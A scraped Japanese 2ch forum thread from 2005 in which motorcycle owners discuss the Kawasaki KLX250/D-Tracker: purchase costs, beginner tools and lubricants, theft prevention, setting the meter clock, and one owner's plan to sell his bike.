ＫＬＸ前期イグナイターに交換
ＯＶＥＲフルチタンマフラー
ＥＸＣＥＬホイール・モトマスター４Ｐキャリパー
ＣＯＺＹシート・ゴールドチェーン・ハンドルetc
俺はこれで約４０万だったよ
俺のSBはこーんな感じ
購入は３ヵ月前
個人売買04'中古4000㌔
車体《385000円》+ﾊﾝﾄﾞﾙ《8000円ぐらい》+
ＫＬＸ前期ｲｸﾞﾅｲﾀ＆ﾊｰﾈｽ《30000円ぐらい》+ＦＲｽﾃﾝﾌﾞﾚｰｷﾎｰｽ《15000円ぐらい》+
ＣＯＺＹｼｰﾄ《22000円ぐらい》+ＦＲﾀｲﾔ《12000円ぐらい》+
ＦＲｽﾌﾟﾛｹ《10000円ぐらい》+ﾁｪｰﾝ《8000円ぐらい》
自賠責《13410円》+登録料《自分で》etc
合計…５０万超えてる（・∀・）
購入は３ヵ月前
個人売買04'中古4000㌔
車体《385000円》+ﾊﾝﾄﾞﾙ《8000円ぐらい》+
ＫＬＸ前期ｲｸﾞﾅｲﾀ＆ﾊｰﾈｽ《30000円ぐらい》+ＦＲｽﾃﾝﾌﾞﾚｰｷﾎｰｽ《15000円ぐらい》+
ＣＯＺＹｼｰﾄ《22000円ぐらい》+ＦＲﾀｲﾔ《12000円ぐらい》+
ＦＲｽﾌﾟﾛｹ《10000円ぐらい》+ﾁｪｰﾝ《8000円ぐらい》
自賠責《13410円》+登録料《自分で》etc
合計…５０万超えてる（・∀・）
881 ：879：2005/06/05(日) 00:00:29 ID:EuYtE705
安いって思ってその場で即決したんだけど
買いだったのかな？
皆の意見きかせてくれ
買いだったのかな？
皆の意見きかせてくれ
>>879氏のが安いな
>>878が購入値段やけど、
1年間でブレーキ大くして、ホイール代えて、
エンジンあぼーんの修理費で、タイヤ買えて
て考えると、さらに３０万使ってる。。
>>879氏が羨ましい
>>878が購入値段やけど、
1年間でブレーキ大くして、ホイール代えて、
エンジンあぼーんの修理費で、タイヤ買えて
て考えると、さらに３０万使ってる。。
>>879氏が羨ましい
883 ：７７４ＲＲ：2005/06/05(日) 00:30:07 ID:QXQI3ZPK
マフラーの熱対策ってなにかやったほう良いですか？
パンツが溶けそうな気がして
パンツが溶けそうな気がして
884 ：７７４ＲＲ：2005/06/05(日) 01:10:43 ID:/ErufvJ7
・ＴＷ２２５Ｅ(ヤマハ)
・グラストラッカー(スズキ)
・２５０ＴＲ(カワサキ)
・エイプ１００(ホンダ)
で悩んでいます。どれがお勧めですか？？
・グラストラッカー(スズキ)
・２５０ＴＲ(カワサキ)
・エイプ１００(ホンダ)
で悩んでいます。どれがお勧めですか？？
887 ：７７４ＲＲ：2005/06/05(日) 01:34:07 ID:y8Dfez2n
>>884
レトロな雰囲気が好きならTRやスズキのSTがいいね。
TWはパーツが豊富だから弄りやすいけど、今更スカチューンなんてすると
田舎モノ丸出しだからしないほうがいいよ。
個人的に、KLXルックな外装をしたTWなんて面白いかもね。
初代TWをイメージして。
超スレ違いだな。
レトロな雰囲気が好きならTRやスズキのSTがいいね。
TWはパーツが豊富だから弄りやすいけど、今更スカチューンなんてすると
田舎モノ丸出しだからしないほうがいいよ。
個人的に、KLXルックな外装をしたTWなんて面白いかもね。
初代TWをイメージして。
超スレ違いだな。
Dﾄﾗってなんかエンストしやすくないですかね？
おれのﾃｸﾆｯｸ不足なだけなのか・・・？
おれのﾃｸﾆｯｸ不足なだけなのか・・・？
891 ：丼 ◆YaikoVbYo2 ：2005/06/05(日) 04:37:18 ID:8V15GxYm
>>889-890
ゼロ発進の時、クラッチ切ってスロットルを小さく開けようとして、
その開け始めでスコンと逝く感じ？
もしそうならアイドリングをもう少し高くしてもいいの鴨
あと新車ならアタリが付けばもう少しはマシになる鴨
ゼロ発進の時、クラッチ切ってスロットルを小さく開けようとして、
その開け始めでスコンと逝く感じ？
もしそうならアイドリングをもう少し高くしてもいいの鴨
あと新車ならアタリが付けばもう少しはマシになる鴨
892 ：７７４ＲＲ：2005/06/05(日) 07:04:01 ID:DqqT4fxu
確かにFTRに乗ってる友達に乗せてあげたら、エンストの嵐で発進すらできなかったなｗ
894 ：７７４ＲＲ：2005/06/05(日) 14:45:11 ID:6a9OsPI5
バネは何の流用だろう？大手(ﾃﾞｲﾄﾅ、ｵｰﾘﾝｽﾞ他)以外はﾊﾞﾈを作れる様な技術とかﾃﾞｰﾀをとる様な機械を持ってないのに不思議じゃない？
オーリンズってショック屋だろ？ バネはアイバッハフェダーンみたいなとこから
入れてるんじゃねえ？ 知らんけど。日本ではNHKとか。
デイトナは大手たけど、企画屋であって製造メーカーじゃないだろ・・・・
知らんけど。
入れてるんじゃねえ？ 知らんけど。日本ではNHKとか。
デイトナは大手たけど、企画屋であって製造メーカーじゃないだろ・・・・
知らんけど。
897 ：７７４ＲＲ：2005/06/05(日) 16:02:33 ID:QXQI3ZPK
スレ違いかも知れませんが‥
先日Ｄトラかったので、工具も揃えおうと
思ってるのですが
最低限どんな工具が必要でしょうか？
予算は５０００円程度なので
安いセットのものを買おうと思ってるんですけど
先日Ｄトラかったので、工具も揃えおうと
思ってるのですが
最低限どんな工具が必要でしょうか？
予算は５０００円程度なので
安いセットのものを買おうと思ってるんですけど
898 ：７７４ＲＲ：2005/06/05(日) 16:11:44 ID:6a9OsPI5
で、話は変わるけど、KLX300のﾌﾛﾝﾄｽﾌﾟﾘﾝｸﾞって250SBに使えるのかな？
それとﾊｰﾄﾞとかあるの？あるならメーカーは？
それとﾊｰﾄﾞとかあるの？あるならメーカーは？
セット買うより必要な物買ってった方が無駄なくていいよ
とりあえず8,10mmTレン、13mmメガネ(エンジンオイルのドレンてサイズ違ったっけ？)
何かと便利な2番+ドライバーあればいいような
外装、エアクリ清掃、チェーンガード外し、オイル交換(フィルター交換)、レバー外しできるよ
とりあえず8,10mmTレン、13mmメガネ(エンジンオイルのドレンてサイズ違ったっけ？)
何かと便利な2番+ドライバーあればいいような
外装、エアクリ清掃、チェーンガード外し、オイル交換(フィルター交換)、レバー外しできるよ
あとワイヤーインジェクター
901 ：７７４ＲＲ：2005/06/05(日) 16:27:30 ID:QXQI3ZPK
＞899さん
ありがとうございます。
とりあえずそこに書かれたものだけ買ってきます！
なにかほかにあった方がいいものあれば教えてください！
ありがとうございます。
とりあえずそこに書かれたものだけ買ってきます！
なにかほかにあった方がいいものあれば教えてください！
300Rのフォークスプリングってロードゴーイングモデルより柔くなかったか？
5000円の予算でバラ工具を買ってたんじゃ必要なものは殆ど揃いません
ひとまずは3000～5000円くらいの超安物工具セットを買いましょう。
安物だからやがて壊れますが、壊れる工具は良く使う工具なので
ちょっといい物に買い換えていきましょう。それで自分に必要な工具が揃っていきます。
口の開いたスパナとかをいつまでも使わないようにね
5000円の予算でバラ工具を買ってたんじゃ必要なものは殆ど揃いません
ひとまずは3000～5000円くらいの超安物工具セットを買いましょう。
安物だからやがて壊れますが、壊れる工具は良く使う工具なので
ちょっといい物に買い換えていきましょう。それで自分に必要な工具が揃っていきます。
口の開いたスパナとかをいつまでも使わないようにね
>>897
ホムセンの1480円で40点セット！！みたいな工具でいいんじゃない
んで足りないものがあれば追加で購入
ぶっちゃけばら売りの工具ってKTCとかブランドばっかりですげー高いからなぁ
あ、安いのもあるけど結果的に激安セットが安いはず
長く使うならブランド買え、みたいな話聞くけど、漏れは10年前のホムセン工具がまだまだ現役
プロじゃあるまいし、メガネとかなめたら買い換えでいいんでない
あとはケミカル関係かな 556、チェーンルブ、ブレーキクリーナー、モリブデングリスとか
みんなも初期お奨めケミカルあげてくれ
ホムセンの1480円で40点セット！！みたいな工具でいいんじゃない
んで足りないものがあれば追加で購入
ぶっちゃけばら売りの工具ってKTCとかブランドばっかりですげー高いからなぁ
あ、安いのもあるけど結果的に激安セットが安いはず
長く使うならブランド買え、みたいな話聞くけど、漏れは10年前のホムセン工具がまだまだ現役
プロじゃあるまいし、メガネとかなめたら買い換えでいいんでない
あとはケミカル関係かな 556、チェーンルブ、ブレーキクリーナー、モリブデングリスとか
みんなも初期お奨めケミカルあげてくれ
>>902
かぶっちゃいましたな
かぶっちゃいましたな
>>904
内容の細部まで見事に被りましたな
通常のメンテナンスでバイクいじるのに5-56とかはあまりお勧めしない
あれはレストアとかで真価を発揮するもの
浸透性がいいぶんだけ必要な油を洗い流しちゃうし、そのくせ自身は
すぐに揮発して、パッケージに謳われてるような潤滑性能は期待できない。
CRCは特性を理解して他のﾙﾌﾞと併用しないとかえって悪くなるよ。
内容の細部まで見事に被りましたな
通常のメンテナンスでバイクいじるのに5-56とかはあまりお勧めしない
あれはレストアとかで真価を発揮するもの
浸透性がいいぶんだけ必要な油を洗い流しちゃうし、そのくせ自身は
すぐに揮発して、パッケージに謳われてるような潤滑性能は期待できない。
CRCは特性を理解して他のﾙﾌﾞと併用しないとかえって悪くなるよ。
906 ：７７４ＲＲ：2005/06/05(日) 16:44:58 ID:QXQI3ZPK
5-56とは何のことでしょうか？
素人ですいません
素人ですいません
ホームセンター工具コーナー付近には必ず積んである、クレ5-56という商品です。
赤っぽい缶の浸透・潤滑スプレーです。万能っぽい説明書きがありますが、>>905
正しく使えば便利で値段も安く良い商品です。
赤っぽい缶の浸透・潤滑スプレーです。万能っぽい説明書きがありますが、>>905
正しく使えば便利で値段も安く良い商品です。
>>906
5-56は潤滑用としてではなく、油汚れを落とすものだと考えれば安くて良い商品だと思いますよ。
ホイールやスポークの油汚れを落とすのに最適。
あ、スイングアームとかもね。
でも直接スプレーすると余計な所にまで飛んじゃうので、ウエスに含ませて使う方がいいですね。
くれぐれもOリングやグリスアップしてる所には吹き付けない事。
とんでもない事になってしまいますので。
5-56は潤滑用としてではなく、油汚れを落とすものだと考えれば安くて良い商品だと思いますよ。
ホイールやスポークの油汚れを落とすのに最適。
あ、スイングアームとかもね。
でも直接スプレーすると余計な所にまで飛んじゃうので、ウエスに含ませて使う方がいいですね。
くれぐれもOリングやグリスアップしてる所には吹き付けない事。
とんでもない事になってしまいますので。
便乗で悪いですが、シリコン系オイルをよくフォークのシールゴムやらワイヤー類やピポット部分に使用してますが、
林道ツーリングごとに注油するという前提でも不可？
林道ツーリングごとに注油するという前提でも不可？
910 ：８９７：2005/06/05(日) 18:26:11 ID:QXQI3ZPK
ホームセンターで激安の工具とバイクカバー買って来ました！
簡単なメンテ作業なら、これで十分そうです！！
ありがとうございます。
それでバイクカバーなのですが
ＬＬサイズかってきたのですが
ちょっと小さいみたいでタイヤ下半分が出てしまいます。
こんなものなのでしょうか？
簡単なメンテ作業なら、これで十分そうです！！
ありがとうございます。
それでバイクカバーなのですが
ＬＬサイズかってきたのですが
ちょっと小さいみたいでタイヤ下半分が出てしまいます。
こんなものなのでしょうか？
>>910
オフロードバイク用なかったの？
オフロードバイク用なかったの？
912 ：８９７：2005/06/05(日) 18:57:20 ID:QXQI3ZPK
ＬＬサイズ→ＫＬＸ２５０対応なので
Ｄトラなら確実に入ると思い購入したのですが
やっぱり、すっぽり入らないと
どうもしっくりこないです。。
やはり返品したほうがよさそうですね
Ｄトラなら確実に入ると思い購入したのですが
やっぱり、すっぽり入らないと
どうもしっくりこないです。。
やはり返品したほうがよさそうですね
>>911
マルチはやめれ
マルチはやめれ
>>910でした。>911さんごめんなさい。
いえいえ、こちらこそ。
工具かぁ
これから整備し続けていくなら工具はちゃんとしたのを少しずつ買っていったほうがいいよ。
＋－ドライバーのほかに、７・１０・１２あたりのメガネレンチ・スパナを揃えておけば
外装外したり細かいとこの増し締めが出来る。
ソケットレンチはラチェットハンドルが高いので、よく使うソケットとハンドラチェットを買っておくと
メガネレンチで緩めたボルトを速く外すことが出来て便利。
安物工具だと、ボルト舐めて部品あぽーんすると余計金がかかったりするよ。
値段のわりには質がまあまあと言われてるとこだけど、よかったらどそ
http://members.ld.infoseek.co.jp/sptools/index.html
これから整備し続けていくなら工具はちゃんとしたのを少しずつ買っていったほうがいいよ。
＋－ドライバーのほかに、７・１０・１２あたりのメガネレンチ・スパナを揃えておけば
外装外したり細かいとこの増し締めが出来る。
ソケットレンチはラチェットハンドルが高いので、よく使うソケットとハンドラチェットを買っておくと
メガネレンチで緩めたボルトを速く外すことが出来て便利。
安物工具だと、ボルト舐めて部品あぽーんすると余計金がかかったりするよ。
値段のわりには質がまあまあと言われてるとこだけど、よかったらどそ
http://members.ld.infoseek.co.jp/sptools/index.html
917 ：丼 ◆YaikoVbYo2 ：2005/06/05(日) 21:36:07 ID:69uedu5N
KLXは外装パーツのボルトサイズがかなり統一されてるんで、
8mmのちっちゃいT型レンチを持っとくと便利ですよ。
エアクリボックス蓋の止めネジも二面巾8mmのに換えとくと更にいい鴨
8mmのちっちゃいT型レンチを持っとくと便利ですよ。
エアクリボックス蓋の止めネジも二面巾8mmのに換えとくと更にいい鴨
クレに恨みはないけど５５６は止めとけ、使うならWD40これ最強。
>917
俺チェーンテンショナー外すとき8mmで3/8のソケットレンチ使ってスプリングの
入っている部分凹ませちまったよ。やっぱ1/4サイズのＴレンチあると絶対いい。
1/4といえばエキパイ外す時14mmに1/4のエクステンションじゃないとあれって
外せないよね。
俺チェーンテンショナー外すとき8mmで3/8のソケットレンチ使ってスプリングの
入っている部分凹ませちまったよ。やっぱ1/4サイズのＴレンチあると絶対いい。
1/4といえばエキパイ外す時14mmに1/4のエクステンションじゃないとあれって
外せないよね。
ありゃ、外装ボルトは７ｍｍじゃなくて８ｍｍだったね…orz
おかんが、錆びてるからと気きかしてｸﾚをﾛｰﾀｰ吹いていた。
死ぬ思いをした。
すべては、あんな宣伝をしているｸﾚが悪いと思った。
死ぬ思いをした。
すべては、あんな宣伝をしているｸﾚが悪いと思った。
922 ：７７４ＲＲ：2005/06/06(月) 12:53:31 ID:lC6YK5B1
ﾂｲﾝｴｱｰのフィルター+ノーマルダクトと、ノーマルフィルター+250Rダクトだったらどっちの方が吸気多いかな？
ノーマルフィルター+鼻取りしんさい
924 ：７７４ＲＲ：2005/06/06(月) 18:05:14 ID:1KQY+BP5
今度発売されるﾊｲﾊﾟｰﾌﾟﾛのｽﾌﾟﾘﾝｸﾞの詳細知ってる人居る？
詳しく知りたいのでよろしくお願いします。
詳しく知りたいのでよろしくお願いします。
925 ：７７４ＲＲ：2005/06/06(月) 18:05:50 ID:1KQY+BP5
あ、D虎用です。
926 ：７７４ＲＲ：2005/06/06(月) 18:58:13 ID:VR4TS6fc
メーターについている時計の時間調整は
どのようにすればいいのですか？
あと右下に表示される数値は冷却水の水温ですか？
どのようにすればいいのですか？
あと右下に表示される数値は冷却水の水温ですか？
ネタか？
928 ：７７４ＲＲ：2005/06/06(月) 19:44:48 ID:VR4TS6fc
本気です
本気のネタか？
04と05だとリアフェンダーの価格が倍くらい違うんですけど
違いってあります?
違いってあります?
932 ：７７４ＲＲ：2005/06/06(月) 21:30:26 ID:zQwauIFE
デカール代。高いステッカーだな。
933 ：>>931 おまえみたいな奴のことだ：2005/06/06(月) 21:31:49 ID:7RaTUnB+
きにいらないことーはらがたつことー
KLXの存在を無視する質問者が多いことー
きにいらないことーはらがたつことー
KLXの存在を無視する質問者が多いことー
きにいらないことーはらがたつことー
934 ：926：2005/06/06(月) 21:43:44 ID:VR4TS6fc
個人売買で購入したので説明書ないんですよ。
>>934
ヤフオクか？ご愁傷様。
ヤフオクか？ご愁傷様。
937 ：７７４ＲＲ：2005/06/06(月) 21:55:49 ID:lC6YK5B1
右下は走行距離だろﾎﾞｹｪ
>>934
以下、マニュアル22～23頁より
1．イグニッションスイッチをONにします。
2．ODO/CLOCKボタンを押したままで、TRIP A/Bボタンを押して時刻調整モードにします。時刻調整モードになると表示中の<時>と<分>の数字が点滅します。
3．次にODO/CLOCKボタンを押すごとに、表示中の点滅位置が<時>→<分>に順次変わります。数字を合わせたいところに点滅位置を合わせます。
4．数字合わせはTRIP A/Bボタンを押して行います。
5．時刻を合わせ終われば、ODO/CLOCKボタンを押して、<時>と<分>の数字を点滅させます。
6．最後にTRIP A/Bボタンを押します。これで表示の点滅はなくなり、時計の表示に戻ります。
以下、マニュアル22～23頁より
1．イグニッションスイッチをONにします。
2．ODO/CLOCKボタンを押したままで、TRIP A/Bボタンを押して時刻調整モードにします。時刻調整モードになると表示中の<時>と<分>の数字が点滅します。
3．次にODO/CLOCKボタンを押すごとに、表示中の点滅位置が<時>→<分>に順次変わります。数字を合わせたいところに点滅位置を合わせます。
4．数字合わせはTRIP A/Bボタンを押して行います。
5．時刻を合わせ終われば、ODO/CLOCKボタンを押して、<時>と<分>の数字を点滅させます。
6．最後にTRIP A/Bボタンを押します。これで表示の点滅はなくなり、時計の表示に戻ります。
940 ：934：2005/06/06(月) 22:31:09 ID:VR4TS6fc
＞９３９さん
ありがとうございました
ありがとうございました
943 ：７７４ＲＲ：2005/06/06(月) 23:18:00 ID:9IJ4xLOP
俺のＫＬＸ04年式はリザーブが無い。
買ったときからそうなんだけど、どっかおかしいのかな。
200Ｋｍ～210Ｋｍで空っぽになってリザーブにしてもエンジンすらかからん
190Ｋｍ過ぎるとスタンド探すハメになる皆のＫＬＸはどうなの？
買ったときからそうなんだけど、どっかおかしいのかな。
200Ｋｍ～210Ｋｍで空っぽになってリザーブにしてもエンジンすらかからん
190Ｋｍ過ぎるとスタンド探すハメになる皆のＫＬＸはどうなの？
俺のＫＬＸは航続距離150キロは難しい。
正直、君のバイクが羨ましい。
機関はサイレンサー交換しただけのノーマルなんだがな。
正直、君のバイクが羨ましい。
機関はサイレンサー交換しただけのノーマルなんだがな。
946 ：７７４ＲＲ：2005/06/07(火) 00:52:58 ID:lsZ3Rs9P
みなさん盗難対策はどうしてますか？
ゴジラワイヤーとディスクロックとキーシリンダロック
近々、駐車場にアンカー打とうかとおもてる
近々、駐車場にアンカー打とうかとおもてる
いつでもどこでもメンイキー付けたまま。
大阪府ですがね・・・
大阪府ですがね・・・
950 ：946：2005/06/07(火) 01:43:44 ID:lsZ3Rs9P
バイクカバーにＵ字、チェーンロックで大丈夫ですかね？
ハーレーやＢＭＷみたいな高級車じゃないから
大丈夫って言い聞かせてるんだけど
やっぱり不安なので
ハーレーやＢＭＷみたいな高級車じゃないから
大丈夫って言い聞かせてるんだけど
やっぱり不安なので
キーシリンダロックはこれから大量発生すると思われる、夏房の－ドライバー突っ込み防止対策。
ディスクロックは出先用。
ゴジラワイヤーはアンカーと連結させてプロ集団対策。
ここまでしなくても大丈夫だと思うけどね。
バイクカバーは放火されそうなので止めといた。
ディスクロックは出先用。
ゴジラワイヤーはアンカーと連結させてプロ集団対策。
ここまでしなくても大丈夫だと思うけどね。
バイクカバーは放火されそうなので止めといた。
共通の駐輪所みたいなところに置くのなら、できればワイヤーロックでどこかに括り付けたほうがいいかも。
U字とかだと台車で持っていけるからね。
自宅のガレージなら、奥におけばその二点で大丈夫かと。
U字とかだと台車で持っていけるからね。
自宅のガレージなら、奥におけばその二点で大丈夫かと。
泣き寝入り（・Ａ・）ｲｸﾅｲ!!
金があったら家の中にバイク入れるスペース作りたいよな
いつでも整備できるような。
MTBだとできるんだが
いつでも整備できるような。
MTBだとできるんだが
盗難レス読む前に今朝、嫌な夢見た。
Dトラで外出し用事を済ませてバイクの所に戻ると、パーツがごっそり盗られてるの。
Dトラで外出し用事を済ませてバイクの所に戻ると、パーツがごっそり盗られてるの。
マジレス頼む。購入するか最高に悩んでいます。D虎か木馬
Dトラって登りの坂道で１２０キロくらいまででます？
友達が４００NKや大型なんで一緒に峠とか走るとなると
１２０キロ前後でないと厳しいんです
Dトラって登りの坂道で１２０キロくらいまででます？
友達が４００NKや大型なんで一緒に峠とか走るとなると
１２０キロ前後でないと厳しいんです
958 ：７７４ＲＲ：2005/06/07(火) 08:41:35 ID:6RE5W7jm
周りが400や大型なら菊間でもなく木馬じゃね？
追加
一応バンディット２５０とSDR海苔が居るんだが
DOHC単気筒２５０だとキツイか？
と思って
一応バンディット２５０とSDR海苔が居るんだが
DOHC単気筒２５０だとキツイか？
と思って
961 ：７７４ＲＲ：2005/06/07(火) 09:19:38 ID:6RE5W7jm
単気筒でそのｽﾋﾟｰﾄﾞﾚﾝｼﾞを求めるならやっぱり排気量に勝るものなし＝木馬
D虎だとﾊﾟﾜｰ&ﾄﾙｸに物足りなくなってくるし､足回りにも不満が出てくると思うよ｡
D虎だとﾊﾟﾜｰ&ﾄﾙｸに物足りなくなってくるし､足回りにも不満が出てくると思うよ｡
THANKS
963 ：７７４ＲＲ：2005/06/07(火) 20:38:13 ID:4oQvWJHj
ブレーキホースをステンメッシュに変えようと思うんだが、
白い筒が付いてないホース使っている人いますか？
シコシコ擦れるから付いてるやつじゃないとダメなのかなぁ。
合う長さが無いんだよね。
白い筒が付いてないホース使っている人いますか？
シコシコ擦れるから付いてるやつじゃないとダメなのかなぁ。
合う長さが無いんだよね。
964 ：７７４ＲＲ：2005/06/07(火) 20:42:13 ID:rje4HNbN
オレはホース(ガード)ついてないのをつけてる
965 ：７７４ＲＲ：2005/06/07(火) 21:49:26 ID:KGhg2+pv
皆さん、スポークの手入れはどうしていますか？
サビが浮いてきたので、ケミカルを買いにいったのですが、
メッキが剥がれて余計に錆びるよと言われました。
お勧めの方法があれば、教えて下さい。
サビが浮いてきたので、ケミカルを買いにいったのですが、
メッキが剥がれて余計に錆びるよと言われました。
お勧めの方法があれば、教えて下さい。
マメに乾拭き
967 ：poko ◆sCXts80seg ：2005/06/07(火) 22:56:10 ID:7O9IFgjJ
新しい大型バイクを父親と共有で買ったので05年型Dトラ・黒を手放そうと思います。
走行距離は４３００キロ。オイル交換２回。oilフィルター交換１回。
全身フルノーマル。転倒・事故一切ありません。
ヘッドライトのバルブだけ、ＰＩＡＡの明るいヤツに変えてます。ＨＩＤではありません。
２５ﾏﾝくらいで売ろうと思うのですが。ヤフオクに出すまえに、ここに書き込んでみました。
http://upload.fam.cx/cgi-bin/img-box/t7a50607224622.jpg
このバイクです。
走行距離は４３００キロ。オイル交換２回。oilフィルター交換１回。
全身フルノーマル。転倒・事故一切ありません。
ヘッドライトのバルブだけ、ＰＩＡＡの明るいヤツに変えてます。ＨＩＤではありません。
２５ﾏﾝくらいで売ろうと思うのですが。ヤフオクに出すまえに、ここに書き込んでみました。
http://upload.fam.cx/cgi-bin/img-box/t7a50607224622.jpg
このバイクです。
俺が新車を買う前に言って欲しかった・・・
２ヵ月前に言ってほすぃかった…
張りが弱いのが１０本になったら張り替え。
971 ：７７４ＲＲ：2005/06/07(火) 23:06:58 ID:7O9IFgjJ
>>967
あー、もったいねっ～。
まぁ、それぞれ事情があるわけだが、維持費もそんなに高いわけじゃないので、
大型とDトラの2台編成でいけばいいのに…。と、他人事だから思ってします。
25万は安いね～。ヤクオフでもっと高値が付くといいね～。
あー、もったいねっ～。
まぁ、それぞれ事情があるわけだが、維持費もそんなに高いわけじゃないので、
大型とDトラの2台編成でいけばいいのに…。と、他人事だから思ってします。
25万は安いね～。ヤクオフでもっと高値が付くといいね～。
974 ：７７４ＲＲ：2005/06/07(火) 23:12:35 ID:7O9IFgjJ
976 ：７７４ＲＲ：2005/06/07(火) 23:18:49 ID:7O9IFgjJ
>>974
親父と共同で大型買ったってことだけど一緒にツーリング行きたいからこっちの維持費も折半してくれ！
って頼んでみるとか。おやじさんもわるい気はしないだろ。
親父と取り替えっこしながらのんびりツーリングってのもいいもんだぞ。
それに街乗りや通勤に使うなら大型は不経済だから残しておいたほうが結局やすくあがるかも。
週末のツーリングオンリーってのなら関係ないかもしれないが
そのときは使いたい日がかぶらないことを祈る
親父と共同で大型買ったってことだけど一緒にツーリング行きたいからこっちの維持費も折半してくれ！
って頼んでみるとか。おやじさんもわるい気はしないだろ。
親父と取り替えっこしながらのんびりツーリングってのもいいもんだぞ。
それに街乗りや通勤に使うなら大型は不経済だから残しておいたほうが結局やすくあがるかも。
週末のツーリングオンリーってのなら関係ないかもしれないが
そのときは使いたい日がかぶらないことを祈る
978 ：７７４ＲＲ：2005/06/07(火) 23:26:18 ID:7O9IFgjJ
980 ：７７４ＲＲ：2005/06/07(火) 23:36:43 ID:7O9IFgjJ
4600キロで買い換えるなら250CCの軽さもわかってない時期だからここは素直に売るが良し。
下手に２台維持するより１台を大事に乗る方が良いよ。
下手に２台維持するより１台を大事に乗る方が良いよ。
4300キロでしたね、ゴメソ。
ちょっと勿体無いなう。
しばらく2台乗ってた方がイイト思う。
大型乗った後にＤトラに乗るとおもちゃみたいに、
自在に操れる気分に浸れるし。。。
せめて半年は乗り続けてみた方がいいぞな
しばらく2台乗ってた方がイイト思う。
大型乗った後にＤトラに乗るとおもちゃみたいに、
自在に操れる気分に浸れるし。。。
せめて半年は乗り続けてみた方がいいぞな
984 ：poko ◆sCXts80seg ：2005/06/07(火) 23:50:17 ID:7O9IFgjJ
親父と共同バイクで大型2台あるのか！！！
それなら無理にDトラ維持する必要もないな。
大型も楽しいけど250シングルも楽しいからもったいない気もするけど
良い里親が見つかると良いね。(正直ホイル周りとメーターギアだけほすぃｗ)
とりあえずもし毎日大型乗ることになったら不経済だぞとだけ忠告しとく。
学生時代にバイトの通勤、通学、ツーリングと毎日使って毎月オイル交換してた
俺はいつもピーピー逝ってたからな。
それなら無理にDトラ維持する必要もないな。
大型も楽しいけど250シングルも楽しいからもったいない気もするけど
良い里親が見つかると良いね。(正直ホイル周りとメーターギアだけほすぃｗ)
とりあえずもし毎日大型乗ることになったら不経済だぞとだけ忠告しとく。
学生時代にバイトの通勤、通学、ツーリングと毎日使って毎月オイル交換してた
俺はいつもピーピー逝ってたからな。
986 ：poko ◆sCXts80seg ：2005/06/08(水) 00:26:28 ID:JNBwTt8m
ヤフオクにだしてみますね(・∀・)
みなさんいろいろ参考になりました！
みなさんいろいろ参考になりました！
MT01 を親父さんと共有か。
かっこいいな。
親は大事にしろよ。
ノД`)･ﾟ･｡ うちの親父は緑内障で片目ほぼ失明ですよ。
そのため大型二輪と車の免許返却。
かっこいいな。
親は大事にしろよ。
ノД`)･ﾟ･｡ うちの親父は緑内障で片目ほぼ失明ですよ。
そのため大型二輪と車の免許返却。
家族の中でバイク乗ってるの俺だけだけど、完全に放置されてる
たいして興味も示さないし、うるさいことも言われない
でもたぶんウルサイマフラーとかにすると言われると思うけど・・・
ま、そんなDQN仕様にするつもりはないが
スルーされるのも理解されてるって解釈で良いですか？
たいして興味も示さないし、うるさいことも言われない
でもたぶんウルサイマフラーとかにすると言われると思うけど・・・
ま、そんなDQN仕様にするつもりはないが
スルーされるのも理解されてるって解釈で良いですか？
マフラー交換しようと思って調べているのですが、
・爆音すぎない
・低速トルクが出るようにしたい
・6万ぐらいの予算（価格的にスリッポン）
を条件に調べているのですが、オススメないですか？
とりあえずBEET、ノジマあたりで検討しているのですが。
・爆音すぎない
・低速トルクが出るようにしたい
・6万ぐらいの予算（価格的にスリッポン）
を条件に調べているのですが、オススメないですか？
とりあえずBEET、ノジマあたりで検討しているのですが。
delta
次スレ立てケロ
「お前は駄目だ」って言われたOrz
「お前は駄目だ」って言われたOrz
ここだけの話、跨がるときに股関節がキツイ
>>991
軽いって条件が無いので純正をすすめておく
軽いって条件が無いので純正をすすめておく
変な降り方をして、筋違いで悶絶した事あり。
勃っちゃった！
誰かテンプレがんばれー('A`)ﾉ
【Kawasaki】KLX D-Tracker 250SB 20cc 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1118297148/
誰かテンプレがんばれー('A`)ﾉ
【Kawasaki】KLX D-Tracker 250SB 20cc 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1118297148/
過去スレ一覧
－パート1－【kawasaki】D-TRACKER～
http://ton.2ch.net/bike/kako/1012/10124/1012471191.html
－パート2－【kawasaki】D-TRACKER&KLX専用スレ part2
http://choco.2ch.net/test/read.cgi/bike/1020789927/
－パート3－【Kawasaki】D-TRACKER&KLX専用スレ part3
http://choco.2ch.net/test/read.cgi/bike/1029070973/
－パート4－【Kawasaki】D-TRACKER
http://hobby2.2ch.net/bike/kako/1035/10354/1035461753.html
－パート5－【kawasaki】D-TRACKERKLXSB250スレ part5
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－パート6－【kawasaki】D-TRACKERKLXSB250スレ part6
http://hobby4.2ch.net/test/read.cgi/bike/1053515431/
－パート7－【kawasaki】D-TRACKERKLXSB250スレ part7
http://hobby4.2ch.net/test/read.cgi/bike/1061815345/
－パート8－【kawasaki】D-TRACKERKLX250SBスレ part8
http://hobby4.2ch.net/test/read.cgi/bike/1068280211/
－パート9－【Kawasaki】D-TRACKER,KLX,250SBスレ part9
http://hobby4.2ch.net/test/read.cgi/bike/1075179836/
－パート10－【Kawasaki】D-TRACKER,KLX,250SBスレ part10
http://hobby6.2ch.net/test/read.cgi/bike/1080654639/
－パート1－【kawasaki】D-TRACKER～
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－パート2－【kawasaki】D-TRACKER&KLX専用スレ part2
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－パート3－【Kawasaki】D-TRACKER&KLX専用スレ part3
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－パート4－【Kawasaki】D-TRACKER
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－パート5－【kawasaki】D-TRACKERKLXSB250スレ part5
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－パート6－【kawasaki】D-TRACKERKLXSB250スレ part6
http://hobby4.2ch.net/test/read.cgi/bike/1053515431/
－パート7－【kawasaki】D-TRACKERKLXSB250スレ part7
http://hobby4.2ch.net/test/read.cgi/bike/1061815345/
－パート8－【kawasaki】D-TRACKERKLX250SBスレ part8
http://hobby4.2ch.net/test/read.cgi/bike/1068280211/
－パート9－【Kawasaki】D-TRACKER,KLX,250SBスレ part9
http://hobby4.2ch.net/test/read.cgi/bike/1075179836/
－パート10－【Kawasaki】D-TRACKER,KLX,250SBスレ part10
http://hobby6.2ch.net/test/read.cgi/bike/1080654639/
↑誤爆
1001 ：１００１：
1000kmの旅を愛車と終えた夜 ――
一杯の熱い珈琲が 次の旅へと 想いを走らせる。
。, .ﾟ。 + ☆。,ﾟ. o 。+ 。ﾟ.,
